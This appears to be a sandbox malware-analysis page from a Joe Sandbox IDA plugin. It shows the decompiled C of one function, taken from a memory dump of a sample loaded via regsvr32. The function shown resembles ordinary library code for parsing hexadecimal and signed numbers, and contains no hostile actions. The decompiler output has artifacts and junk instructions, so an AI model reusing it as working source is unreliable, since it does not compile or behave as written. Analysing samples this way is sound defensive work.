Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID: 0123456789ABCDEFabcdef-+XxPp
API String ID: 0-3606100449
Opcode ID: 63a054caf7fa5ae947aec59667907993e45250436b9f93aecdab40cca8aa844e
Instruction ID: 2831603b09b6b7cff206dbe5e9364b1d435361241f0cc044fe266a123e8bb316
Opcode Fuzzy Hash: 63a054caf7fa5ae947aec59667907993e45250436b9f93aecdab40cca8aa844e
Instruction Fuzzy Hash: 5E023976605A5489EB248F1AC4903BE3361EB44F88F68942BEE4E5B754DF3DC8C2D358

Uniqueness

Uniqueness Score: -1.00%

Function 0041869F Relevance: 1.7, Strings: 1, Instructions: 482
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E0041869F(void* __rax, void* __rbx, signed int __rdx, signed int* __rdi, long long* __r8, long long __r9, void* __r12, void* __r13, void* __r14, void* __r15, intOrPtr _a12, intOrPtr _a14, intOrPtr _a16, intOrPtr _a18, intOrPtr _a20, intOrPtr _a22, long long _a32, char _a40, short _a48, long long _a64, long long _a72, signed int _a84, signed int _a88, void* _a96, signed int _a108, signed int _a112, intOrPtr _a224, signed int* _a232) {
				char _v32;
				char _v34;
				void* _v40;
				void* _v48;
				intOrPtr* _v56;
				long long _v64;
				char _v80;
				void* _v88;
				char _v192;
				void* _t415;
				void* _t416;
				void* _t423;
				signed int _t427;
				signed short _t430;
				signed short _t431;
				signed short _t433;
				signed short _t436;
				signed short _t438;
				signed short _t439;
				signed short _t442;
				signed short _t443;
				signed short _t445;
				signed int _t447;
				signed short _t448;
				signed short _t449;
				signed short _t451;
				signed short _t452;
				signed short _t454;
				signed short _t456;
				signed short _t458;
				signed short _t459;
				signed short _t460;
				signed short _t461;
				signed short _t462;
				signed short _t465;
				signed short _t466;
				signed short _t467;
				signed short _t468;
				signed short _t469;
				signed short _t470;
				signed short _t471;
				signed short _t475;
				signed short _t477;
				signed short _t478;
				signed short _t479;
				signed short _t481;
				signed short _t483;
				signed short _t485;
				signed short _t487;
				void* _t489;
				signed int _t492;
				signed short _t493;
				signed short _t494;
				signed short _t495;
				signed short _t496;
				signed int _t500;
				signed int _t501;
				signed short _t502;
				signed short _t503;
				signed short _t505;
				signed short _t506;
				signed short _t508;
				signed short _t510;
				signed short _t512;
				signed short _t513;
				signed short _t515;
				signed int _t517;
				signed short _t518;
				signed short _t519;
				signed short _t521;
				signed short _t522;
				signed short _t524;
				void* _t530;
				signed int _t531;
				signed int _t532;
				signed int _t533;
				signed int _t541;
				signed short _t547;
				signed int _t548;
				void* _t549;
				signed int _t550;
				signed int _t551;
				signed int _t552;
				signed int _t553;
				signed int _t554;
				signed int _t555;
				void* _t557;
				signed int _t558;
				signed int _t559;
				signed int _t560;
				signed int _t561;
				signed int _t562;
				signed int _t563;
				signed int _t565;
				signed int _t566;
				void* _t567;
				void* _t568;
				void* _t569;
				void* _t570;
				void* _t571;
				void* _t572;
				void* _t573;
				signed int _t574;
				signed int _t575;
				signed int _t576;
				signed int _t578;
				signed int _t580;
				signed int _t582;
				void* _t584;
				signed int _t585;
				signed int _t588;
				signed int _t590;
				signed int _t592;
				signed int _t593;
				void* _t595;
				signed int _t596;
				signed int _t598;
				signed int _t600;
				void* _t602;
				void* _t603;
				char _t708;
				intOrPtr* _t709;
				intOrPtr* _t711;
				intOrPtr* _t714;
				signed short* _t717;
				char* _t719;
				signed long long _t721;
				intOrPtr _t726;
				char* _t731;
				signed long long _t733;
				signed short* _t735;
				signed short** _t737;
				signed short* _t740;
				signed short* _t743;
				signed short* _t746;
				signed short** _t748;
				signed short* _t751;
				signed short* _t754;
				signed short** _t756;
				signed short* _t760;
				signed short* _t763;
				signed short** _t765;
				signed short* _t768;
				signed short* _t771;
				signed short* _t774;
				signed short* _t777;
				char* _t779;
				signed long long _t781;
				signed short* _t783;
				signed short** _t785;
				signed short* _t788;
				signed short* _t791;
				char* _t794;
				signed short* _t797;
				signed short** _t799;
				signed short* _t802;
				signed short* _t805;
				intOrPtr* _t807;
				signed short** _t809;
				signed short* _t812;
				signed short* _t815;
				signed short* _t818;
				char* _t820;
				signed int _t821;
				signed short* _t823;
				signed short** _t825;
				signed short* _t828;
				signed short* _t831;
				signed short* _t833;
				intOrPtr _t834;
				void* _t837;
				long long _t838;
				intOrPtr* _t839;
				signed short* _t842;
				long long* _t844;
				signed int _t848;
				void* _t851;
				signed int _t854;
				signed short** _t857;
				signed short* _t860;
				signed short* _t865;
				signed short** _t867;
				signed short* _t871;
				signed short* _t874;
				signed short* _t877;
				intOrPtr* _t879;
				intOrPtr* _t880;
				void* _t882;
				long long* _t883;
				intOrPtr* _t887;
				intOrPtr* _t889;
				intOrPtr* _t891;
				intOrPtr* _t893;
				intOrPtr* _t895;
				intOrPtr* _t896;
				intOrPtr* _t897;
				intOrPtr* _t898;
				intOrPtr* _t899;
				intOrPtr* _t900;
				intOrPtr* _t902;
				intOrPtr* _t903;
				intOrPtr* _t904;
				intOrPtr* _t905;
				intOrPtr* _t906;
				intOrPtr* _t907;
				intOrPtr _t908;
				intOrPtr* _t909;
				intOrPtr* _t910;
				intOrPtr* _t911;
				intOrPtr* _t912;
				intOrPtr* _t913;
				intOrPtr* _t914;
				intOrPtr* _t916;
				intOrPtr* _t919;
				intOrPtr* _t920;
				intOrPtr* _t922;
				intOrPtr* _t923;
				intOrPtr* _t925;
				intOrPtr* _t926;
				intOrPtr* _t927;
				intOrPtr* _t929;
				intOrPtr* _t931;
				char* _t934;
				intOrPtr* _t936;
				intOrPtr* _t937;
				intOrPtr* _t938;
				intOrPtr* _t939;
				intOrPtr* _t941;
				intOrPtr* _t944;
				intOrPtr* _t946;
				char* _t948;
				intOrPtr* _t950;
				intOrPtr* _t952;
				intOrPtr* _t953;
				intOrPtr* _t954;
				intOrPtr _t955;
				char* _t956;
				signed long long _t958;
				void* _t960;
				intOrPtr _t963;
				intOrPtr _t964;
				intOrPtr* _t966;
				char* _t970;
				intOrPtr* _t972;
				intOrPtr* _t974;
				intOrPtr* _t975;
				intOrPtr* _t976;
				intOrPtr* _t978;
				intOrPtr* _t979;
				intOrPtr* _t981;
				intOrPtr* _t982;
				intOrPtr* _t984;
				intOrPtr* _t985;
				intOrPtr* _t988;
				signed int _t989;
				signed short* _t992;
				signed short* _t996;
				signed short* _t1000;
				signed short* _t1003;
				signed short* _t1008;
				signed short* _t1012;
				signed short* _t1016;
				signed short* _t1020;
				signed short* _t1029;
				signed short* _t1030;
				signed short* _t1033;
				signed short* _t1038;
				signed int* _t1044;
				signed int* _t1046;
				signed int* _t1047;
				signed int* _t1048;
				signed int* _t1049;
				signed int* _t1050;
				signed int* _t1051;
				intOrPtr* _t1052;
				signed int* _t1053;
				signed int* _t1054;
				signed int _t1055;
				void* _t1056;
				intOrPtr _t1057;
				intOrPtr* _t1058;
				long long _t1060;
				signed short* _t1062;
				intOrPtr* _t1063;
				char* _t1064;
				void* _t1068;
				long long* _t1071;
				signed int _t1073;
				signed int _t1076;
				long long _t1077;
				void* _t1079;
				void* _t1080;
				intOrPtr* _t1081;
				long long _t1082;
				char* _t1083;
				signed int _t1085;
				char* _t1086;
				void* _t1087;
				void* _t1088;
				char* _t1090;
				void* _t1091;
				signed int _t1092;
				char* _t1093;
				long long _t1094;
				signed int _t1096;
				void* _t1097;
				short* _t1098;
				long long _t1101;
				long long _t1102;

				_t1097 = __r15;
				_t1091 = __r14;
				_t1088 = __r13;
				_t1080 = __r12;
				_t1077 = __r9;
				_t1071 = __r8;
				_t1044 = __rdi;
				_t989 = __rdx;
				_t882 = __rbx;
				_t415 = E00401F90(_t531, _t549, _t603, __rax, __rax, __rdx, __r8);
				asm("ud2");
				_t1056 = __rax;
				_t708 = _v32;
				if(_t708 >= 0x10) {
					_t988 = _v56;
					if(_t708 + 1 >= 0x1000) {
						_t988 =  *((intOrPtr*)(_t988 - 8));
					}
					_t415 = E00402090(_t415, _t988);
				}
				_t416 = E0044CEA0(_t415, _t1056);
				asm("ud2");
				_t709 =  *_t1063;
				 *_t709 =  *_t709 + _t416;
				 *_t709 =  *_t709 + _t416;
				0;
				0;
				_t1064 =  &_v192;
				_a96 = _t1077;
				_t883 = _t1071;
				_t1092 = _t989;
				_t1057 = _a224;
				_t887 =  *((intOrPtr*)( *((intOrPtr*)(_t1057 + 0x40))));
				_v32 = _t887;
				_t711 =  *_t887;
				 *((intOrPtr*)(_t711 + 0x10))(_t882, _t1044, _t1056, _t1080, _t1088, _t1091, _t1097, _t1063, _t1068);
				E00412FF0(_t530, _t549, _t557, _t602,  &_v32, _t1071, _t1077, _t1079, _t1080, _t1088, _t1092, _t1097);
				_t1081 = _t711;
				_t889 = _v32;
				if(_t889 != 0) {
					_t880 =  *_t889;
					 *((intOrPtr*)(_t880 + 0x18))();
					if(_t880 != 0) {
						 *((intOrPtr*)( *_t880 + 8))();
					}
				}
				 *((intOrPtr*)( *_t1081 + 0x30))();
				_t891 =  *((intOrPtr*)( *((intOrPtr*)(_t1057 + 0x40))));
				_a40 = _t891;
				_t714 =  *_t891;
				 *((intOrPtr*)(_t714 + 0x10))();
				E004119C0(_t530, _t549, _t557, _t602,  &_a40, _t1071, _t1077, _t1079, _t1092);
				_t1058 = _t714;
				_t893 = _a40;
				if(_t893 != 0) {
					_t879 =  *_t893;
					 *((intOrPtr*)(_t879 + 0x18))();
					if(_t879 != 0) {
						 *((intOrPtr*)( *_t879 + 8))();
					}
				}
				 *((intOrPtr*)( *_t1058 + 0x68))();
				_t895 =  *_t883;
				_t568 = 0;
				_t558 = 0;
				if(_t895 != 0) {
					_t877 =  *((intOrPtr*)( *((intOrPtr*)(_t895 + 0x38))));
					if(_t877 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t895 + 0x50)))) <= 0) {
						_t524 =  *((intOrPtr*)( *_t895 + 0x38))();
					} else {
						_t524 =  *_t877 & 0x0000ffff;
					}
					_t558 = 0;
					dil = (_t524 & 0x0000ffff) != 0xffff;
				}
				_t896 =  *_a96;
				if(_t896 != 0) {
					_t874 =  *((intOrPtr*)( *((intOrPtr*)(_t896 + 0x38))));
					if(_t874 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t896 + 0x50)))) <= 0) {
						_t522 =  *((intOrPtr*)( *_t896 + 0x38))();
					} else {
						_t522 =  *_t874 & 0x0000ffff;
					}
					_t568 = 0;
					sil = (_t522 & 0x0000ffff) != 0xffff;
				}
				_t1098 = _t1092;
				if(_t558 != _t568) {
					if( *(_t883 + 8) == 0) {
						_t985 =  *_t883;
						if(_t985 == 0) {
							L35:
							 *_t883 = 0;
						} else {
							_t871 =  *((intOrPtr*)( *((intOrPtr*)(_t985 + 0x38))));
							if(_t871 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t985 + 0x50)))) <= 0) {
								_t521 =  *((intOrPtr*)( *_t985 + 0x38))();
							} else {
								_t521 =  *_t871 & 0x0000ffff;
							}
							_t531 = _t521 & 0x0000ffff;
							if(_t531 == 0xffff) {
								goto L35;
							} else {
								 *(_t883 + 0xa) = _t521;
							}
						}
						 *(_t883 + 8) = 1;
					}
					_t517 =  *(_t883 + 0xa) & 0x0000ffff;
					if(_t517 != _a14) {
						__eflags = _t517 - _a12;
						_t1098 = _t1092;
						if(_t517 == _a12) {
							 *_t1092 = 0x2d;
							_t982 =  *_t883;
							__eflags = _t982;
							if(_t982 == 0) {
								goto L50;
							} else {
								_t867 =  *((intOrPtr*)(_t982 + 0x38));
								_t1038 =  *_t867;
								__eflags = _t1038;
								if(_t1038 == 0) {
									L47:
									_t519 =  *((intOrPtr*)( *_t982 + 0x40))();
								} else {
									_t1044 =  *((intOrPtr*)(_t982 + 0x50));
									_t600 =  *_t1044;
									__eflags = _t600;
									if(_t600 <= 0) {
										goto L47;
									} else {
										goto L46;
									}
								}
								goto L48;
							}
							goto L51;
						}
					} else {
						 *_t1092 = 0x2b;
						_t984 =  *_t883;
						if(_t984 == 0) {
							L50:
							 *_t883 = 0;
							_t518 = 1;
						} else {
							_t867 =  *((intOrPtr*)(_t984 + 0x38));
							_t1038 =  *_t867;
							if(_t1038 == 0) {
								L41:
								_t519 =  *((intOrPtr*)( *_t984 + 0x40))();
							} else {
								_t1044 =  *((intOrPtr*)(_t984 + 0x50));
								_t600 =  *_t1044;
								if(_t600 > 0) {
									L46:
									 *_t1044 = _t600 - 1;
									 *_t867 =  &(_t1038[1]);
									_t519 =  *_t1038 & 0x0000ffff;
								} else {
									goto L41;
								}
							}
							L48:
							if((_t519 & 0x0000ffff) == 0xffff) {
								goto L50;
							} else {
								_t518 = 0;
							}
						}
						L51:
						_t1098 = _t1092 + 1;
						 *(_t883 + 8) = _t518;
					}
				}
				 *_t1098 = 0x7830;
				_t897 =  *_t883;
				_t569 = 0;
				_t559 = 0;
				if(_t897 != 0) {
					_t865 =  *((intOrPtr*)( *((intOrPtr*)(_t897 + 0x38))));
					if(_t865 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t897 + 0x50)))) <= 0) {
						_t515 =  *((intOrPtr*)( *_t897 + 0x38))();
					} else {
						_t515 =  *_t865 & 0x0000ffff;
					}
					_t559 = 0;
					dil = (_t515 & 0x0000ffff) != 0xffff;
				}
				_t717 = _a96;
				_t898 =  *_t717;
				if(_t898 != 0) {
					_t717 =  *((intOrPtr*)( *((intOrPtr*)(_t898 + 0x38))));
					if(_t717 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t898 + 0x50)))) <= 0) {
						_t717 =  *_t898;
						_t513 = _t717[0x1c]();
					} else {
						_t513 =  *_t717 & 0x0000ffff;
					}
					_t569 = 0;
					sil = (_t513 & 0x0000ffff) != 0xffff;
				}
				if(_t559 == _t569) {
					L119:
					_t559 = 0;
				} else {
					if( *(_t883 + 8) == 0) {
						_t981 =  *_t883;
						if(_t981 == 0) {
							L73:
							 *_t883 = 0;
						} else {
							_t717 =  *((intOrPtr*)( *((intOrPtr*)(_t981 + 0x38))));
							if(_t717 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t981 + 0x50)))) <= 0) {
								_t717 =  *_t981;
								_t512 = _t717[0x1c]();
							} else {
								_t512 =  *_t717 & 0x0000ffff;
							}
							_t531 = _t512 & 0x0000ffff;
							if(_t531 == 0xffff) {
								goto L73;
							} else {
								 *(_t883 + 0xa) = _t512;
							}
						}
						 *(_t883 + 8) = 1;
					}
					if(( *(_t883 + 0xa) & 0x0000ffff) != _v32) {
						goto L119;
					} else {
						_t974 =  *_t883;
						if(_t974 == 0) {
							L86:
							 *_t883 = 0;
							 *(_t883 + 8) = 1;
							goto L87;
						} else {
							_t857 =  *((intOrPtr*)(_t974 + 0x38));
							_t1033 =  *_t857;
							if(_t1033 == 0) {
								L80:
								_t508 =  *((intOrPtr*)( *_t974 + 0x40))();
							} else {
								_t1044 =  *((intOrPtr*)(_t974 + 0x50));
								_t598 =  *_t1044;
								if(_t598 <= 0) {
									goto L80;
								} else {
									 *_t1044 = _t598 - 1;
									 *_t857 =  &(_t1033[1]);
									_t508 =  *_t1033 & 0x0000ffff;
								}
							}
							if((_t508 & 0x0000ffff) == 0xffff) {
								goto L86;
							} else {
								_t979 =  *_t883;
								 *(_t883 + 8) = 0;
								if(_t979 == 0) {
									L87:
									_t595 = 0;
								} else {
									_t860 =  *((intOrPtr*)( *((intOrPtr*)(_t979 + 0x38))));
									if(_t860 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t979 + 0x50)))) <= 0) {
										_t510 =  *((intOrPtr*)( *_t979 + 0x38))();
									} else {
										_t510 =  *_t860 & 0x0000ffff;
									}
									_t595 = 0;
									sil = (_t510 & 0x0000ffff) != 0xffff;
								}
							}
						}
						_t717 = _a96;
						_t975 =  *_t717;
						if(_t975 == 0) {
							_t500 = 0;
							__eflags = 0;
						} else {
							_t717 =  *((intOrPtr*)( *((intOrPtr*)(_t975 + 0x38))));
							if(_t717 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t975 + 0x50)))) <= 0) {
								_t717 =  *_t975;
								_t506 = _t717[0x1c]();
							} else {
								_t506 =  *_t717 & 0x0000ffff;
							}
							_t531 = _t506 & 0x0000ffff;
							_t500 = 0 | _t531 != 0x0000ffff;
						}
						dil = 1;
						if(_t595 != _t500) {
							if( *(_t883 + 8) == 0) {
								_t978 =  *_t883;
								if(_t978 == 0) {
									L106:
									 *_t883 = 0;
								} else {
									_t717 =  *((intOrPtr*)( *((intOrPtr*)(_t978 + 0x38))));
									if(_t717 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t978 + 0x50)))) <= 0) {
										_t717 =  *_t978;
										_t505 = _t717[0x1c]();
									} else {
										_t505 =  *_t717 & 0x0000ffff;
									}
									_t531 = _t505 & 0x0000ffff;
									if(_t531 == 0xffff) {
										goto L106;
									} else {
										 *(_t883 + 0xa) = _t505;
									}
								}
								 *(_t883 + 8) = 1;
							}
							_t501 =  *(_t883 + 0xa) & 0x0000ffff;
							if(_t501 == _a18 || _t501 == _a16) {
								_t976 =  *_t883;
								if(_t976 == 0) {
									L117:
									 *_t883 = 0;
									_t502 = 1;
								} else {
									_t717 =  *((intOrPtr*)(_t976 + 0x38));
									_t1030 =  *_t717;
									if(_t1030 == 0) {
										L114:
										_t717 =  *_t976;
										_t503 = _t717[0x20]();
									} else {
										_t1044 =  *((intOrPtr*)(_t976 + 0x50));
										_t596 =  *_t1044;
										if(_t596 <= 0) {
											goto L114;
										} else {
											 *_t1044 = _t596 - 1;
											 *_t717 =  &(_t1030[1]);
											_t503 =  *_t1030 & 0x0000ffff;
										}
									}
									if((_t503 & 0x0000ffff) == 0xffff) {
										goto L117;
									} else {
										_t502 = 0;
									}
								}
								 *(_t883 + 8) = _t502;
								goto L119;
							}
						}
					}
				}
				_a108 = _t559;
				_a112 = _t1098 + 2;
				_t1060 =  >  ? _v80 :  &_v80;
				_t423 =  *_t1060;
				_v48 = _t1081;
				if(_t423 == 0x7f || _t423 <= 0) {
					_t1082 = _t1092;
					r13d = 0;
					_t1093 =  &_v34;
					r15d = 0;
					while(1) {
						_t899 =  *_t883;
						__eflags = _t899;
						_t560 = 0;
						if(_t899 == 0) {
							goto L147;
						}
						_t823 =  *((intOrPtr*)( *((intOrPtr*)(_t899 + 0x38))));
						__eflags = _t823;
						if(_t823 == 0) {
							L145:
							_t487 =  *((intOrPtr*)( *_t899 + 0x38))();
						} else {
							__eflags =  *( *(_t899 + 0x50));
							if( *( *(_t899 + 0x50)) <= 0) {
								goto L145;
							} else {
								_t487 =  *_t823 & 0x0000ffff;
							}
						}
						_t560 = 0;
						__eflags = (_t487 & 0x0000ffff) - 0xffff;
						dil = (_t487 & 0x0000ffff) != 0xffff;
						__eflags = dil;
						L147:
						_t900 =  *_a96;
						__eflags = _t900;
						if(_t900 == 0) {
							_t424 = 0;
							__eflags = _t560;
							if(_t560 != 0) {
								goto L153;
							} else {
							}
						} else {
							_t831 =  *((intOrPtr*)( *((intOrPtr*)(_t900 + 0x38))));
							__eflags = _t831;
							if(_t831 == 0) {
								L151:
								_t483 =  *((intOrPtr*)( *_t900 + 0x38))();
							} else {
								__eflags =  *( *(_t900 + 0x50));
								if( *( *(_t900 + 0x50)) <= 0) {
									goto L151;
								} else {
									_t483 =  *_t831 & 0x0000ffff;
								}
							}
							__eflags = (_t483 & 0x0000ffff) - 0xffff;
							_t424 = 0 | __eflags != 0x00000000;
							if(__eflags != 0) {
								L153:
								__eflags =  *(_t883 + 8);
								if( *(_t883 + 8) == 0) {
									_t952 =  *_t883;
									__eflags = _t952;
									if(_t952 == 0) {
										L163:
										 *_t883 = 0;
									} else {
										_t828 =  *((intOrPtr*)( *((intOrPtr*)(_t952 + 0x38))));
										__eflags = _t828;
										if(_t828 == 0) {
											L160:
											_t424 =  *((intOrPtr*)( *_t952 + 0x38))();
										} else {
											__eflags =  *( *(_t952 + 0x50));
											if( *( *(_t952 + 0x50)) <= 0) {
												goto L160;
											} else {
												_t424 =  *_t828 & 0x0000ffff;
											}
										}
										__eflags = (_t424 & 0x0000ffff) - 0xffff;
										if((_t424 & 0x0000ffff) == 0xffff) {
											goto L163;
										} else {
											 *(_t883 + 0xa) = _t424;
										}
									}
									 *(_t883 + 8) = 1;
								}
								_t532 =  *(_t883 + 0xa) & 0x0000ffff;
								_t719 = _t1093;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									_t550 =  *(_t719 + 2) & 0x0000ffff;
									_t719 = _t719 + 2;
									__eflags = _t550;
									if(_t550 == 0) {
										break;
									}
									__eflags = _t550 - _t532;
									if(_t550 != _t532) {
										continue;
									} else {
										break;
									}
									goto L172;
								}
								_t721 = _t719 -  &_v32 >> 1;
								__eflags = _t721 - 0x15;
								if(_t721 <= 0x15) {
									__eflags = r13d - 0x30;
									if(r13d < 0x30) {
										__eflags = r13d;
										if(r13d != 0) {
											L131:
											_t948 = _a112;
											 *_t948 =  *((intOrPtr*)(_t721 + "0123456789ABCDEFabcdef-+XxPp"));
											_a112 = _t948 + 1;
											r13d = r13d + 1;
											__eflags = r13d;
										} else {
											__eflags = _t721;
											if(_t721 != 0) {
												goto L131;
											} else {
												r13d = 0;
											}
										}
									} else {
										r15d = r15d + 1;
									}
									_t950 =  *_t883;
									__eflags = _t950;
									if(_t950 == 0) {
										L139:
										 *_t883 = 0;
										_t481 = 1;
									} else {
										_t825 =  *((intOrPtr*)(_t950 + 0x38));
										_t1020 =  *_t825;
										__eflags = _t1020;
										if(_t1020 == 0) {
											L136:
											_t485 =  *((intOrPtr*)( *_t950 + 0x40))();
										} else {
											_t1054 =  *((intOrPtr*)(_t950 + 0x50));
											_t590 =  *_t1054;
											__eflags = _t590;
											if(_t590 <= 0) {
												goto L136;
											} else {
												 *_t1054 = _t590 - 1;
												 *_t825 =  &(_t1020[1]);
												_t485 =  *_t1020 & 0x0000ffff;
											}
										}
										__eflags = (_t485 & 0x0000ffff) - 0xffff;
										if((_t485 & 0x0000ffff) == 0xffff) {
											goto L139;
										} else {
											_t481 = 0;
										}
									}
									 *(_t883 + 8) = _t481;
									_a108 = 1;
									continue;
								}
							}
						}
						_a88 = 0;
						_t1094 = _t1082;
						r12d = r15d;
						__eflags = _a108 & 0x00000001;
						if((_a108 & 0x00000001) != 0) {
							goto L170;
						}
						goto L172;
					}
				} else {
					r13d = 0;
					_a32 = _t1092;
					if(_v64 == 0) {
						_t424 = 0;
						__eflags = 0;
						_a88 = _t717;
					} else {
						_t854 =  *_t1081;
						_t424 =  *((intOrPtr*)(_t854 + 0x28))();
						_a88 = _t854;
					}
					_v40 = _t1060;
					_t1086 =  &_a48;
					_a48 = 0;
					asm("movaps xmm0, [0x358dd]");
					asm("movups [ebp+0x40], xmm0");
					_a84 = 0;
					r14d = 0;
					while(1) {
						_t953 =  *_t883;
						_t567 = 0;
						_t592 = 0;
						if(_t953 != 0) {
							_t842 =  *((intOrPtr*)( *((intOrPtr*)(_t953 + 0x38))));
							if(_t842 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t953 + 0x50)))) <= 0) {
								_t495 =  *((intOrPtr*)( *_t953 + 0x38))();
							} else {
								_t495 =  *_t842 & 0x0000ffff;
							}
							_t424 = _t495 & 0x0000ffff;
							_t592 = 0;
							sil = (_t495 & 0x0000ffff) != 0xffff;
						}
						_t833 = _a96;
						_t954 =  *_t833;
						if(_t954 != 0) {
							_t833 =  *((intOrPtr*)( *((intOrPtr*)(_t954 + 0x38))));
							if(_t833 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t954 + 0x50)))) <= 0) {
								_t833 =  *_t954;
								_t494 = _t833[0x1c]();
							} else {
								_t494 =  *_t833 & 0x0000ffff;
							}
							_t424 = _t494 & 0x0000ffff;
							_t567 = 0;
							dil = (_t494 & 0x0000ffff) != 0xffff;
						}
						if(_t592 == _t567) {
							break;
						}
						if( *(_t883 + 8) == 0) {
							_t972 =  *_t883;
							if(_t972 == 0) {
								L237:
								 *_t883 = 0;
							} else {
								_t833 =  *((intOrPtr*)( *((intOrPtr*)(_t972 + 0x38))));
								if(_t833 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t972 + 0x50)))) <= 0) {
									_t833 =  *_t972;
									_t493 = _t833[0x1c]();
								} else {
									_t493 =  *_t833 & 0x0000ffff;
								}
								_t531 = _t493 & 0x0000ffff;
								if(_t531 == 0xffff) {
									goto L237;
								} else {
									 *(_t883 + 0xa) = _t493;
								}
							}
							 *(_t883 + 8) = 1;
						}
						_t424 =  *(_t883 + 0xa) & 0x0000ffff;
						_t956 =  &_v34;
						asm("o16 nop [cs:eax+eax]");
						while(1) {
							_t555 =  *(_t956 + 2) & 0x0000ffff;
							_t956 = _t956 + 2;
							if(_t555 == 0) {
								break;
							}
							if(_t555 != _t424) {
								continue;
							} else {
							}
							break;
						}
						_t958 = _t956 -  &_v32 >> 1;
						if(_t958 > 0x15) {
							__eflags = _a72 - 0xf;
							_t960 =  <=  ? _t1086 : _a48;
							__eflags =  *((char*)(_t960 + _t1092));
							if( *((char*)(_t960 + _t1092)) == 0) {
								break;
							} else {
								__eflags = _a88;
								if(_a88 == 0) {
									break;
								} else {
									__eflags = _t424 - _a88;
									if(_t424 != _a88) {
										break;
									} else {
										_t1101 = _a64;
										__eflags = _t1101 - 0xfffffffe;
										if(_t1101 >= 0xfffffffe) {
											_t489 = L00430CE0(_t530, _t555, _t602, _t833, "string too long", _t1044, _t1060);
											asm("ud2");
											_t1062 = _t833;
											_t838 = _a72;
											__eflags = _t838 - 0x10;
											if(_t838 >= 0x10) {
												_t964 = _a48;
												__eflags = _t838 + 1 - 0x1000;
												if(_t838 + 1 >= 0x1000) {
													_t964 =  *((intOrPtr*)(_t964 - 8));
												}
												_t489 = E00402090(_t489, _t964);
											}
											_t839 = _v56;
											__eflags = _t839 - 0x10;
											if(_t839 >= 0x10) {
												_t963 = _v80;
												_t839 = _t839 + 1;
												__eflags = _t839 - 0x1000;
												if(_t839 >= 0x1000) {
													_t963 =  *((intOrPtr*)(_t963 - 8));
												}
												_t489 = E00402090(_t489, _t963);
											}
											E0044CEA0(_t489, _t1062);
											asm("ud2");
											 *0x44eb4d =  *0x44eb4d + r8b;
											 *_t839 =  *_t839 + 0x64;
											_t413 = _t839 - 0x6f6f6f70;
											 *_t413 =  *(_t839 - 0x6f6f6f70) + _t555;
											__eflags =  *_t413;
											_push(_t1064);
											return 0x64;
										} else {
											_t1102 = _t1101 + 1;
											r8d = 0;
											_t492 = E00404270(_t424,  &_a40, _t1102);
											__eflags = _t492;
											if(_t492 != 0) {
												__eflags = _a72 - 0xf;
												_t969 =  <=  ? _t1086 : _a48;
												 *((char*)(( <=  ? _t1086 : _a48) + _a64)) = 0;
												__eflags = _a72 - 0xf;
												_t848 =  <=  ? _t1086 : _a48;
												__eflags = _t848;
												_a64 = _t1102;
												 *((char*)(_t848 + _t1102)) = 0;
											}
											_t1092 = _t1092 + 1;
											goto L209;
										}
									}
								}
							}
						} else {
							if(r13d < 0x30) {
								__eflags = r13d;
								if(r13d != 0) {
									L206:
									_t970 = _a112;
									 *_t970 =  *((intOrPtr*)(_t958 + "0123456789ABCDEFabcdef-+XxPp"));
									_a112 = _t970 + 1;
									r13d = r13d + 1;
									__eflags = r13d;
								} else {
									__eflags = _t958;
									if(_t958 != 0) {
										goto L206;
									} else {
										r13d = 0;
									}
								}
							} else {
								_a84 = _a84 + 1;
							}
							_t851 =  <=  ? _t1086 : _a48;
							_t531 =  *(_t851 + _t1092);
							_a108 = 1;
							if(_t531 != 0x7f) {
								_t531 = _t531 + 1;
								 *(_t851 + _t1092) = _t531;
							}
							L209:
							_t966 =  *_t883;
							if(_t966 == 0) {
								L192:
								 *_t883 = 0;
								_t424 = 1;
								 *(_t883 + 8) = 1;
							} else {
								_t844 =  *((intOrPtr*)(_t966 + 0x38));
								_t1029 =  *_t844;
								if(_t1029 == 0) {
									L213:
									_t496 =  *((intOrPtr*)( *_t966 + 0x40))();
								} else {
									_t1044 =  *((intOrPtr*)(_t966 + 0x50));
									_t593 =  *_t1044;
									if(_t593 <= 0) {
										goto L213;
									} else {
										 *_t1044 = _t593 - 1;
										_t183 =  &(_t1029[1]); // 0x3
										 *_t844 = _t183;
										_t496 =  *_t1029 & 0x0000ffff;
									}
								}
								if((_t496 & 0x0000ffff) == 0xffff) {
									goto L192;
								} else {
									_t424 = 0;
									 *(_t883 + 8) = 0;
								}
							}
							continue;
						}
						goto L531;
					}
					__eflags = _t1092;
					if(_t1092 == 0) {
						_t592 = 0;
						__eflags = 0;
						goto L257;
					} else {
						__eflags = _a72 - 0xf;
